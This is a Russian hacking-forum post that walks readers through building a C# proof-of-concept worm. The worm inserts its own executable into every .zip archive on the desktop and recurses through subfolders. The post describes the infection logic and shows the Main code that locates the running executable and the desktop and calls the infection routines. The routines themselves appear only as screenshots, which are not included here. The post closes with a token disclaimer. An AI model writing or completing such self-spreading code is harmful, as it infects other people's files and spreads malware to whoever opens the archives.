Перейти к содержимому



Фотография
  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1 roguevad

roguevad

    Эксперт.

  • Пользователи
  • PipPipPipPipPip
  • 211 сообщений

Отправлено 17 Январь 2021 - 12:56

Привет, хакеры, в этой статье собираюсь показать вам Proof-Of-Concept мини-червя, который добавляет себя во все .zip архивы, заражая их.

Начнём.

Логика нашего червя такова:

  • Ищем все zip файлы в папке
  • Добавляем своё отродье в архив
  • Повторяем тоже самое со всеми файлами. (рекурсией)

Первым делом необходимо создать новый метод, который будет принимать 2 аргумента - папку для заражения и файл, который будем добавлять в архив:

ed4591580d8fbc7ef2dd9.png

 

И создаём рекурсивный метод, который будет заражать все подпапки:

8412ad68a090b9e685dc3.png

Переходим к Main'у.

Тут создаём две переменные: путь до исполняемого файла, и путь до рабочего стола:

string currentFilePath = Assembly.GetExecutingAssembly().Location,

                  desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);

После этого нужно вызвать методы:

zipInfect(new DirectoryInfo(desktopPath), currentFilePath); // Заражаем архивы на рабочем столе

           recursiveInfect(desktopPath, currentFilePath); // И в подпапках:

f0acbc74c5d6da8a20186.png

 

И теперь тестируем:

e87cae03fc7dde7a3061a.png

 

0994be464677b9454f816.png

 

 

Как видим, в архивах появился наш файлик. На этом все.

Вся информация предоставлена лишь для ознакомления и не призывает к действиям. Автор не несет ответственности за использование этой информации.

 

 





Темы с аналогичным тегами взлом, взломщик, хакер, хакинг, взлом zip, заражение zip, заражение архива, червь архив, как взломать архив, как заразить zip архив, заражение файлов, взлом компьютера, proof-of-concept, мини-червь


Яндекс.Метрика Top.Mail.Ru Analysis Счетчик ИКС
Добавить Vkontakte Добавить в Facebook Добавить в Twitter Добавить в LiveJournal